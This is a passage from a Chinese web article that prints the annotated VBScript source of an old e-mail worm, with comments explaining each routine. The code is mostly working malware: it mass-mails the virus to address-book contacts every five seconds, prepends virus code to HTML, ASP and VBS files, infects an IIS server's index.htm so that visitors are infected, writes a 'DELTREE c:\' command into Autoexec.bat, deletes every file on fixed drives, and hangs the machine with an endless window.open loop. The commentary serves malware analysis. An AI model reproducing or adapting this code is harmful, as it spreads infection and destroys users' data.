'下面是對(duì)指定的用戶(hù)無(wú)條件發(fā)送大量病毒郵件, 從這一點(diǎn)可看出病毒作者對(duì)美國(guó)政府的極度不滿(mǎn)。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復(fù)發(fā)送

end function

sub SearchHTML(Path) '搜索可傳染文件的過(guò)程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) 0 then exit sub

if Path "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") 0 or ext = "plg" or ext = "asp" then '檢查文件的擴(kuò)展名是否為 htm、html、plg 如是則檢查是否被感染,如未被感染則將已加密的病毒代碼插入文件頭,這樣文件一旦執(zhí)行也會(huì)執(zhí)行病毒代碼,而且不會(huì)影響原文件的正常執(zhí)行。

if Code_Str"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件,則插入未加密的病毒代碼

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盤(pán)刪除文件過(guò)程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" vbcrlf "PATH " w1 "COMMAND" vbcrlf _

"DELTREE c:\" '將刪除C盤(pán)的命令插入Autoexec.bat 中,下次開(kāi)機(jī)時(shí),刪除整個(gè)硬盤(pán),并沒(méi)有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf codeText

ko.Close

'接著立刻刪除其它盤(pán)的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '讓系統(tǒng)立刻死機(jī)

window.open ""

loop

end sub

sub Hackpage() ' 此過(guò)程是直接攻擊 Mircosoft IIS 服務(wù)器主頁(yè)過(guò)程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判斷是否為網(wǎng)站,如是則將已加密的帶病毒代碼插入文件頭,從而直接傳染瀏覽該網(wǎng)站的用戶(hù)

set fi = fso.GetFile(H "\index.htm")

AddHead H "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此過(guò)程是病毒傳染文件具體過(guò)程

on error resume next

dim tso, buffer,sr

if f.size MAX_SIZE then exit sub '傳染大小小于100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) "SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str vbcrlf buffer '插入到文件頭

tso.close

end if

else

if mid(buffer, 3, 2) "'@" then

tso.close

sr=w2 "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

雖然病毒發(fā)作日已過(guò)但我們還是要小心提防病毒的變種出現(xiàn)。


本文標(biāo)題:javascript陷阱,陷阱 百度知道
網(wǎng)站路徑:http://weahome.cn/article/dsgoipi.html

其他資訊

在線(xiàn)咨詢(xún)

微信咨詢(xún)

電話(huà)咨詢(xún)

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部